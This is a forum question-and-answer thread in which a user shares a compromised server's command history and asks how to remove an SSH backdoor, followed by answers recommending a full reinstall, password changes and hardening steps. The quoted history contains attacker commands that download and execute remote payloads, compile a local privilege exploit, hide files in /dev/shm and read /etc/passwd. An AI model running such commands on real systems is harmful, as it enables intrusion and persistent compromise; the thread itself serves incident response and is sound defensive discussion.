Yesterday I checked my history of commands on my VServer. I found several suspicious lines.

  195  wget aridan.hol.es/sniffer.tgz
  196  tar xvf sniffer.tgz
  197  ls -a
  198  rm -rf sniffer.tgz
  199  rm -rf .sniff/
  200  cd /dev/shm
  201  ls -a
  202  mkdir " . "
  203  ls -a
  204  cd " . "/
  205  wget aridan.hol.es/sniffer.tgz
  206  tar xvf ar
  207  tar zxvf ar
  208  tar xvf sniffer.tgz
  209  cd .sniff/
  210  ls -a
  211  ./setup
  212  ls -a
  213  cd /var/tmp
  214  ls a-
  215  ls -a
  216  cd sy
  217  cd systemd-private-a5e12501dbc746eabcda29463d441b9e-openvpn\@server.servi                                                                             ce-HJ201p/
  218  ls -a
  219  pw
  220  pwd
  221  ls -a
  222  cd tmp/
  223  ls -a
  224  cd / .
  225  cd /dev/shm
  226  ls -a
  227  cd " . "/
  228  ls -a
  229  cd sniffer.tgz
  230  cd ..
  231  ls -a
  232  cd " . "/
  233  rm -rf sniffer.tgz
  234  cd .sniff/
  235  ls -a
  236  cd /var/tmp
  237  nproc
  238  w
  239  wget draqusor.hi2.ro/x; chmod +x *; ./x
  240  wget http://t1fix.com/local/ubuntu-2015.c; gcc ubuntu-2015.c -o ubuntu-20                                                                             15; chmod +x *; ./ubuntu-2015;
  241  id
  242  cd
  243  last
  244  cat /etc/passwd
  245  cd /dev/s
  246  cd /dev/shm/
  247  ls -a
  248  cd " . "/
  249  ls -a
  250  cd .sniff/
  251  ls -a
  252  nano se
  253  nano setup
  254  nano error_log
  255  nano error_log.2
  256  cat error_log.2
  257  ls -a
  258  nproc
  259  cd /var/tmp
  260  ls aรถ-
  261  ls -a
  262  rm -rf u*
  263  rm -rf x
  264  mkdir cache
  265  cd cache
  266  wget datafresh.org/md.tgz
  267  tat xvf md.tgz
  268  tar xvf md.tgz
  269  cd m
  270  cd d
  271  cd md
  272  ./a 5.196
  273  cat /proc/cpuinfo
  274  ./a 5.196
  275  ps -x
  276  cd /

Especially the sniffer.tgz shocked me. I set up a virtual machine and downloaded this tgz archive. I started the setup and it gave me these lines:

     #OLDTEAM SSHD BACKDOOR v1.2 - OpenSSH 3.6p1
                                  PRIVATE VERSION


# GCC:                   [ FOUND ]
# G++:                   [ FOUND ]
# MAKE:                  [ FOUND ]


Does anyone know how to remove this?


This is what you should do on all the systems that you've had this sniffer.tgz on: Nuke Them From Orbit immediately, and start over from a clean installation. (That is, destroy the system(s), reinstall clean, load data from clean backups - assuming you have backups that're clean, and then harden the system(s) before putting them back on the Internet).

Whenever you have malware or hackers get into your system like this, it's time to reanalyze how your system is configured and make sure to not repeat the same steps that they got in with. But, because this may not be a system you have the ability to take aside and forensically analyze, and since this may be your only server, it's time to just destroy the virtual system, and start over from scratch (as I said above).

(And this applies to any such situation where you get malware on the system. Unless you have spare hardware to replace something like this so you can isolate and forensically examine the breached system, which usually most users do not have, you have no choice but to nuke the system and start over.)

Without analyzing your server I can't really say what you did wrong, but it's likely that this backdoor is deeper in the system than just a simple 'program' that got installed. And, since the bad guys already got to install a backdoor on your system, you can assume that all your passwords are now breached and no longer safe (whether it be for SSH, or MySQL root, or any other type of password that has EVER been entered into this computer system). Time to change all your passwords!

Once you're back up in a clean environment, here's some basic tips on hardening steps to consider. Note that because these make it much more broader a topic, I can't really dig into detail here, but it's definitely time to do some hardening steps to protect your system:

  1. Turn on a firewall, and only allow access to ports that need to be opened. ufw exists to be simple, so let's use that. sudo ufw enable. (Configuring ufw properly for your environment is a different story, and that goes beyond the confines of this question.)

  2. Restrict access to remote SSH. This isn't always doable, but you ideally would identify IP addresses that are owned by you and specifically whitelist them in the firewall. (If you're on a dynamic residential IP address skip this step).

  3. Lock down SSH access to your server, and require the use of SSH keys only for authentication. This way hackers can't attack your server and try and just guess passwords. It's much MUCH harder to guess the proper private key (because you'd have to bruteforce all of them), and this helps protect against bruteforcing attacks.

  4. If you are running a website, make sure to lock down the permissions so that people can't upload/execute things at their leisure. Doing this varies from site to site, so I can't give you more guidance here (it's impossible to do so).

  5. Also if you're running a website using Joomla or Wordpress or such, make sure you keep the environment up to date and patched with security vulnerabilities from the software providers.

  6. Where possible, setup, configure, and use two-factor authentication (2FA) methods for things that you authenticate with. There are many solutions for second-factor authentication for different applicaitons, and securing various applications this way is beyond the scope of this post, so you should do your research on this point before you pick a solution.

  7. If you absolutely must use passwords in your setup, use a decent password manager (cloud-based ones are not necessarily good choices) and use long-length (25+ characters), random, unmemorable passwords that are different for each individual item that's being secured by passwords (hence the recommendation for the password manager). (However, you should strongly consider NOT using passwords where possible (such as for SSH authentication), and use 2FA where possible).

  • Comments are not for extended discussion; this conversation has been moved to chat.
    – terdon
    Mar 6 '18 at 14:51
  • I accepted the answer, as this is what I'm going to do. Neverless I try to close the Backdoor at the VM, just for my personal interest.
    – itskajo
    Mar 7 '18 at 10:46

If there is one backdoor there is 3 more. Isolate, backup data, nuke it, and carefully restore data.Be careful of any cron's, php, or even mysql data, they All could be compromised. Remember at this point they have all your passwords and hashes,so if you other machines similarly configured they probably hacked those too... The hard part is figuring how they got in to begin with. If you have WordPress look for malware in plugins/themes etc...Check your permissions, you might have 777 everywhere. No simple answer, you are looking at a lot of work.

  • There's not necessarily more than one, however often or likely that may be it may not be the case here. And they may not have all their passwords for sure. Nor is it "probable" they have hacked other machines, you don't know their intentions nor what was sniffed, or if the bad program was even activated beyond being present or ran in some manner. And "carefully restore data" is very general advice for something that requires very meticulous actions.
    – James
    Mar 6 '18 at 23:46

Not the answer you're looking for? Browse other questions tagged or ask your own question.